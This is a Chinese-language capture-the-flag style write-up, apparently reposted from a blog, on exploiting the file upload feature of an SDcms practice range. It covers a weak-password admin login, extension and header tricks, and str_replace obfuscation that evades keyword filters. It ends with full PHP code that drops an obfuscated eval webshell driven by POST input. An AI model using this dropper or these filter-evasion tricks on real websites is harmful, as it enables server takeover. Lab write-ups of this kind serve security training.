靶场练习——SDcms文件上传漏洞靶场


前言

今次练习的是SDcms靶场,该靶场是一个文件上传漏洞系列的靶场,靶场如下:


一、寻找网站后台页面

1、点击请登录,查看URL

在这里插入图片描述
如图所示,登录页面参数是?m=login

2、修改URL参数,找到后台登录页面

尝试把上面URL的参数login改成admin,如下图,进入成功。
在这里插入图片描述


二、登录后台管理系统

1、不能使用爆破

这里第一反应使用了账号密码爆破,发现对访问的IP有限制,一旦超过错误访问次数,就会被限制登录,图片如下:
在这里插入图片描述

2、使用弱口令登录

使用账号密码admin/admin,成登录网站后台


三、寻找文件上传点

在这里插入图片描述
找到如图所示的文件上传点


四、上传文件操作

1、上传普通的图片文件,查看数据包

在这里插入图片描述
如图找到文件上传的路径:/upfile/2023/09/

2、尝试上传PHP文件

在Burp中把 .jpg 改成 .php,然后再文件内容中添加GIF89a头部,发现php文件能上传成功。
在这里插入图片描述

尝试访问上传的PHP文件
在这里插入图片描述
访问成功。

3、上传phpinfo()函数,获取系统版本信息

在这里插入图片描述
发现上传失败了,这就说明这里存在过滤,把phpinfo函数给过滤了。

4、绕过过滤

使用str_replace函数来绕过过滤,方法如下:
在这里插入图片描述
绕过成功

打开网页查看
在这里插入图片描述

如下是绕过代码:

<?php
	$a = str_replace("0","","p0h0p0i0n0f0o");
	$a();
?>

五、尝试上传webshell

1、PHP版本注意点

上面可知,靶场使用的PHP版本是7.4.3,这个版本是无法使用assert()函数的,那么就只能使用eval来getshell,但eval使用上面str_replace方法是无法生效的。
这我就想到一个方法,既然eval无法使用str_replace方法绕过,那么我为什么不去使用PHP常见文件的方式,通过运行普通文件从而创建shell文件

2、尝试在上一级目录创建文件

如下图,发现上传失败
在这里插入图片描述
经过测试,发现fopen()函数和file_put_contents()函数同样都被过滤了,没办法,就对这两个函数同样做绕过。方法如下:
在这里插入图片描述
然后使用浏览器打开上传的PHP文件,让文件运行,再访问上级是否生成了shell.php文件
在这里插入图片描述
在这里插入图片描述
访问成功,这就说明shell.php文件成功生成。

3、写入shell

把里面的$data参数换成shell。
在这里插入图片描述

发现这样子还是能检测到eval关键字。不过不要紧,这里只是字符串,我们只需要把$data内容以eval为中心拆成两部分,然后再合并不就可以了吗。

在这里插入图片描述

4、测试shell

使用浏览器打开上传的PHP文件,让其运行
在这里插入图片描述

然后再利用webshell工具来连接测试
在这里插入图片描述
连接成功!

编写后的绕过代码:

GIF89a
<?php
	$filename = "../shell.php";
	$data1 = '<?php class ok{var $arg;function setarg($x){$this->arg = "".$x.null;return $this->arg;}function setarg1($x){$this->arg = "".$this->setarg($x).null;}function go(){ev';

	$data2 = 'al("$this->arg");}}$arr = array($_POST["x"]);$run = new ok;$run->setarg1($arr[0]);$run->go(); ?>';

	$data = $data1.$data2;

	$a = "f0o0p0e0n";
	$open = str_replace("0","",$a);
	$file = $open($filename,"w");

	$b = "f0i0l0e_p0u0t_contents";
	$write = str_replace("0","",$b);
	$write($filename, $data);

	fclose($file);
?>

注意:这里shell需要使用POST,使用GET蚁剑是无法连接的。


猜你喜欢

转载自blog.csdn.net/p36273/article/details/132897880